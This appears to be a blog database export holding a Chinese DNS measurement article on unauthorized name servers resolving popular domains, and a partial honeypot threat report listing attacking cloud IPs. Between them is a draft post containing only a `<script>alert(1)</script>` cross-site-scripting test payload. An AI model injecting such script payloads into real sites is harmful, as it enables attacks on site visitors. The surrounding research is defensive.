在解析数量方面，17792个NS服务器的响应率为70.12% ~（6237860/(17792\\*500)），也就是说30%的请求在服务器活跃的情况下丢失了，一般都是服务器超时导致的。\n2. 在所有的响应中，Rcode为Refuse的比例为75，NOERROR的比例大约为22%。具体分布如下图\n <img src=\"__GHOST_URL__/content/images/2021/12/rcode_distrubtion.png\" width=\"860px\" />\n3. 在NS服务器方面，17792个NS服务器中，返回NOERROR记录的NS服务器有9544个，占比约为53.64%。\n4. 在NS服务器的二级域方面，17792个NS对应4149个二级域，其中有返回NOERROR记录的二级域有1687个，约占总数的40.66%左右。*也就是说在我们选定的测试服务器中大概有40%的NS服务器会返回非自己客户的域名解析*。 \n\n根据经验，如果这种解析记录是由用户个人添加的话，猜测排名越高的域名被添加和解析的可能性越大。所以我们对每一个返回NOERROR的被测服务器都统计了其Alexa Top100的解析占比以及全部的被测域名的解析（即Alexa Top500）占比。我们按照解析服务器对Alexa Top100域名的解析成功率进行排序。其统计曲线如下所示：\n<img src=\"__GHOST_URL__/content/images/2021/12/top100_vs_top500.png\" width = \"860px\" />\n\n从图中可以明显的看到这9544个服务器可以分为4组，即\n* 排名在1～2250的NS服务器对top100和top500的域名解析比例都在60%以上\n* 排名在2250～3300的NS服务器对被测域名的解析离开快速的从60%下降到不足20%\n* 排名在3300～6000的NS服务器解析比例从20%缓慢的下降到2%左右\n* 排名在6000之后的NS服务器则偶有少量的解析，比例基本在1%左右。\n\n另外从图中也可以看出来，被测域名处在Alexa Top100和Top500的比例没有显著的差异。这可能的原因是Alexa排名靠前的域名无论是100还是500对用户的感知差异不大。\n\n### 解析结果的分析\n另外一个对这个数据分析的角度是从其解析结果来看。这些NS服务器到底将这些流行域名解析到了哪里。\n经过统计，在返回的结果中，大约有20.92%的数据在二级域上没有配置有效的DNS记录，但是返回为NOERROR，此种情况多数是针对被探测域名配置了对应的NS服务器，但是没有配置其他类型的记录所致。\n\n#### 解析出的IP的情况\n在配置了解析记录的数据中，解析到的IP地理位置主要集中在美国，接下来是中国和俄罗斯。Top10的分布如下：\n```\n 4378 United_States\n 579 China\n 395 Russian_Federation\n 350 United_Kingdom\n 216 CLOUDFLARE.COM\n 213 Netherlands\n 212 Germany\n 209 Japan\n 195 Republic_of_Korea\n 123 Singapore\n```\n值的一提的是，在众多的解析记录中，有大约3%做有的解析结果为保留地址或者私有地址，在众多的此类地址中，最让人喜爱的仍然是*127.0.0.1*。Top10的地址如下：\n```\n 33093 127.0.0.1\n 856 10.10.34.35\n 425 192.168.3.3\n 154 10.10.10.10\n 69 10.10.34.36\n 52 10.152.68.117\n 45 10.10.34.34\n 42 192.168.1.1\n 27 127.0.0.11\n 22 0.0.0.0\n```\n\n#### 记录添加人是谁？\n如果解析服务商可以对目标域名提供解析，那么添加这种解析记录的人是谁？\n从探测的数据中，我们发现大量的解析服务提供商对不同被测域名解析的结果是相同的。我们利用这个特点，统计了NS服务器和其解析结果rdata相同的情况下，能够映射到不同的域名的数量，如果此数量超过20，则认为是解析商自己添加的。\n以此为标准，我们发现 2944 个解析器，占总解析器的16.55%。\n如果将接这些解析器聚合到二级域，那么占总二级域的7%左右。\n\n> 注：此处的添加人的角色判定过程是一个猜测。现在有很多注册商允许用户批量添加域名，那么在批量添加的情况下，上面计算过程使用的阈值就显得比较低了，猜测为注册商自己添加的结论也就不成立了。\n> 我们此处假设整个添加过程仍然是个人测试性为主导，并没有使用解析商提供的批量功能。\n\n#### 解析结果的错误率\n解析服务商对这些域名的解析可能是非授权的，不过也有可能存在解析结果和权威解析服务器返回相同结果的可能。我们对非授权的解析服务商解析的结果与正确的解析结果做了对比，发现80%的域名（即400个）的解析结果错误率在90%以上，**最好情况的域名错误解析率也高达68%**，这个比例高的有点让人吃惊。\n不同域名解析错误率曲线如下：\n<img src=\"__GHOST_URL__/content/images/2021/12/resolve_wrong_ratio.jpg\" width = \"860px\" />\n\n### 域名角度\ntop500域名在多少个NS上有解析？占比分布怎么样\n500个域名中，最少被解析的域名为express.dhl，有1483个NS服务器可以解析它，最多的则为yts.mx，有3114个NS服务器可以解析它。不过从他们解析的结果来看，不同的域名解析的rdata个数比较稳定，大多都在800左右。**可见对流行域名来说，被添加到各种非授权的解析商是非常普遍但是让人非常吃惊的事情**。具体分布如下图：\n<img src=\"__GHOST_URL__/content/images/2021/12/resovler_num_and_rdata_num.jpg\" width = \"860px\" />\n\n### 案例分析\n为什么这么多流行域名会加入被非授权的NS服务器解析。从整体上无法深入细节来查看，我们以yts.mx 和mozilla.org为例来看看具体的情况。\n#### yts.mx\n选择yts.mx分析是因为它是我们本次测试中，解析NS服务器最多的一个域名。\nyts.mx是通过p2p协议工具使用BitTorrents等工具下载电影的网站，在我们使用的Alexa数据中排名462。通过passiveDNS.cn来查看，其从2020年4月开始，一直使用cloudflare作为其解析商。\n<img src = \"/content/images/2021/12/yts.mx.jpg\" width = \"860px\" />\n\n因为本次测试中，因为包含了cloudflare的NS服务器，而yts.mx的官方解析商也是cloudlfare，在排除掉cloudflare之后，仍有2886个非授权解析服务器可以解析yts.mx，这个数量仍然可以排在我们本次测试的TOP5。\n\n在2886个非授权解析服务器中，仅有73个可以解析到正确的结果，**错误解析率高达97.47%**，这个比例是让人吃惊的。\n从非授权解析服务器来看其涵盖的二级域名有383个，主要是域名注册商。头部的10个解析器的二级域名如下：\n```\n 846 hostgator.com\n 520 gandi.net\n 369 register.com\n 83 orderbox-dns.com\n 70 worldnic.com\n 51 dan.hosting\n 47 hostgator.mx\n 33 ztomy.com\n 30 cloudns.net\n 16 zoneedit.com\n```\n这个列表中大多都是提供域名注册，web服务托管，主机服务等IT基础服务提供商。不出所料我们上一篇文章中提到的cloudns在列。\n\n从解析错误的IP来看，2886个非授权解析服务器，共解析到750个IP地址，聚合到了149个网段。其中top10的网段及这些网段的用途分析如下：\n<img src = \"/content/images/2021/12/yts.mx.wrong_rdata_detail.png\" width= \"860px\"/>\n\n#### mozilla.org \n选择mozilla.org是因为mozilla.org是火狐浏览器的官方网站，在我们使用的Alexa 排名182，为大众所熟知。mozilla.org的权威NS服务器通过passiveDNS.cn 来查看，其从2014年开始就一直使用akamai作为其解析商没有变过。\n<img src=\"__GHOST_URL__/content/images/2021/12/mozilla_auth_ns.jpg\" width = \"860px\" />\n\n其解析结果随着时间有变动，但是2020年11月之前使用自己的服务，之后则非常稳定的使用amazon的服务。\n<img src=\"__GHOST_URL__/content/images/2021/12/mozilla_auth_a.png\" width = \"860px\" />\n\n但是在实际网络中，能够解析mozilla.org的NS服务器多达2624个，解析的IP地址有735个。\n头部的10个解析器的二级域名如下：\n```\n 831 hostgator.com\n 633 cloudflare.com\n 366 register.com\n 79 orderbox-dns.com\n 75 akam.net\n 50 hostgator.mx\n 45 dan.hosting\n 33 cloudns.net\n 14 hostgator.co\n 13 zoneedit.com\n```\n\n和yts.mx类似，这个列表中大多都是提供域名注册，web服务托管，主机服务等IT基础服务提供商。同样不出所料我们上一篇文章中提到的cloudns也在列。\n\n另一个值得关注的点是 akam.net 自身也有75个服务器提供对mozilla.org的解析，不过所有的服务器解析结果是相同且正确的。也就是说akamai提供的权威解析器可以交叉解析其托管域名。\n\n除此之外，cloudflare的解析看起来*可能*也是对的。为什么是可能？因为我们发现从passiveDNS数据来看从2016年4月份开始，一直到2021年11月份，www.mozilla.org 使用了cloudflare的CDN服务，其CNAME记录是cloudflare.net，从2021年11月开始逐步切换到了amazon。不过 mozilla.org的ns服务器从未使用过cloudlfare的解析器。\n<img src=\"__GHOST_URL__/content/images/2021/12/www.mozilla.org_rrset.png\" width = \"860px\" />\n \n从解析结果来看，除掉akam.net以及cloudflare.com之外，仅有62个解析器可以正确的将解析结果返回。也就是说**70%的非授权解析器解析结果是错误的，这个比例也同样让人吃惊**。\n\n在解析的错误IP方面，730个错误IP（有5个IP是正确的解析结果），聚合到了153个CIDR/24网段，其中top10网段占总错误解析量的75.9%。我们详细分析了错误解析的Top10的CIDR/24网段，发现主要是域名注册/解析商注册，最终解析目的IP是用于域名停靠、重定向以及域名出售等目的，基本都是域名注册商的赚钱的基本手段。具体结果见下图：\n<img src=\"__GHOST_URL__/content/images/2021/12/mozilla_detail_analysis.jpg\" width = \"860px\" />\n\n从以上两个案例来看，目前提供这种非授权解析服务的主要是域名注册/解析商注册，最终解析目的IP是用于域名停靠、重定向以及域名出售等目的，基本都是域名注册商的赚钱的基本手段。\n\n## 安全检测\n首先这种现象为什么没有引起关注？需要说明的是尽管它广泛存在，但是流量整体比较少，整体流量少是因为入口流量少，大多数的DNS流量走的公共DNS服务器，所以除非在特定网络环境下，否则此种现象很难被注意到。\n\n其次解析服务提供商对非授权域名的解析在安全方面带来了不少的挑战。新的DNS安全检测角度，需要扩展，既要看域名，也要看域名使用的DNS服务器，同时还要看解析结果是否和真实的解析结果一致。\n\n### NS服务器角度\n在传统的检测方法中，一般对DNS服务器一般会忽略。在APT组织海莲花的攻击行为中，就曾经出现过特定域名只有特定的NS服务器才可以解析的情况。\n因此小众的DNS是很值得关注的。这里说的小众就是指其请求客户端少，请求域名数量少。尤其是在网络等级较高的环境中，客户端直接和小众的DNS服务器通信的情况就值得做进一步的分析了。\n\n### 流量侧角度\n1. 从流量中筛选出小众的DNS服务器\n2. 筛选出网络内DNS服务器与客户端\n3. 针对客户端与小众DNS服务器的流量进行检查\n4. 检查结果和大众解析结果进行比对\n5. 如果存在差异，需要结合其他维度的数据做进一步分析\n\n## 结论\n1. 组织内网要规范使用DNS服务器，对于组织内的非递归服务器之外的其他DNS请求的目标地址要做严格的检查和筛选\n2. 域名解析提供商广泛的解析非自己客户的域名\n3. 提供这种业务的主力是域名注册商，目的（猜测）是为了拉拢客户或者提升流量\n4. 业界没有统一的标准来规范此类解析行为\n5. 已经出现恶意程序使用这种方式逃避检测\n6. 对基于签名和威胁情报简单匹配的安全产品存在较大的挑战\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"} | 61a457d43819e50007636589 |
post | null | 2021-11-30T05:33:21.000Z | 63873b9a8b1c1e0007f52ff8 | untitled-15 | 0 | 2021-11-30T05:33:49.000Z | public | draft | null | null | (Untitled) | <!--kg-card-begin: markdown--><script>alert(1)</script><!--kg-card-end: markdown--> | null | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"<script>alert(1)</script>"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61a5b7a13819e500076367c6 |
post | null | 2021-12-03T03:18:07.000Z | 63873b9a8b1c1e0007f52ff9 | public-cloud-threat-intelligence-202111 | 0 | 2022-06-24T03:47:18.000Z | public | published | null | 2021-12-09T06:49:53.000Z | 公有云网络安全威胁情报（202111）：云上多个资源对外发起攻击 | <h2 id="1-">1 概述</h2><p>2021年11月，360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）共监测到全球53745个云服务器发起的网络会话9016万次，与10月份的数据相比略有下降，IP数量下降7.7%，会话数量下降2.1%。本月我们发现了涉及政府、事业单位、新闻媒体等多个行业的单位的8个云服务器IP地址在互联网上发起扫描和攻击。</p><h2 id="2-">2 云服务器攻击总体情况</h2><p>11月22日~24日的突增主要是由以下两个IP地址造成的：一个是腾讯云119.45.229.133，在11月22~24日每天向蜜罐系统发送了数十万个敏感文件嗅探数据包以及上千个微软OMI漏洞探测数据包。另一个是位于荷兰的DigitalOcean云服务器188.166.54.243，该服务器在11月24日一天内向蜜罐系统发送了18万个Telnet暴力破解数据包。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/1.png" class="kg-image" alt loading="lazy"><figcaption>2021年11月攻击源IP数量和会话数量趋势（按天统计）</figcaption></figure><p>按云服务商维度来看，与上月相比，来自腾讯云和DigitalOcean的攻击会话数量明显增多。特别是腾讯云的攻击会话数量从上月的10万左右增加到了本月超过100万。</p><p>10月份腾讯云攻击会话前三的IP地址和会话数分别为：43.128.26.129（21,128），1.117.219.218（1,615），1.116.214.89（1,089），本月攻击会话数量前三的IP地址和会话数分别为：119.45.229.133（1,189,312），162.14.66.133（23,213），152.136.132.251（4,188）。本月前3的IP发送的会话明显多于上月，119.45.229.133是本月腾讯云攻击会话暴涨最主要的原因，该IP主要是微软OMI wsman漏洞探测和敏感文件嗅探行为。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/image.png" class="kg-image" alt loading="lazy"><figcaption>各云服务商的服务器被用于对外发起攻击情况</figcaption></figure><h2 id="3-">3 云服务器上的恶意行为</h2><h3 id="-">使用云产品进行攻击</h3><p>11月份我们共监测到965个云服务器IP发起了约62.1万次密码爆破攻击，无论是攻击源IP数量还是爆破攻击数量都比上月明显增加，其中源IP数量增加13%，爆破攻击数量增加142%。Telnet仍然是最多被爆破攻击的协议。</p><p>以下是11月爆破攻击次数最多的10个IP地址，全部来自DigitalOcean，目标都是Telnet协议。</p><!--kg-card-begin: html--><div align="center">
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<td width="129" nowrap="" valign="top" style="width:96.6pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
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<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></b><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
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<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
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<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><span class="GramE"><b><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">云服务</span></b></span><b><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
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0pt">商</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
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<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:solid #A5A5A5 1.0pt;
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<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
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mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">协议</span></b><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt">/</span></b><b><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">端口</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
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<td width="66" nowrap="" valign="top" style="width:49.8pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
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<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
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mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">次数</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
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<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
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<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">188.166.54.243<o:p></o:p></span></b></p>
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border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
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<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
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border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
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<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP2323,
TCP23</span></p>
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<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">182,595</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">159.223.122.148</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">99,437</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">64.227.8.227</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP2323,
TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">97,995</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">68.183.37.164</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP2323, TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">40,621</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">147.182.169.195</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
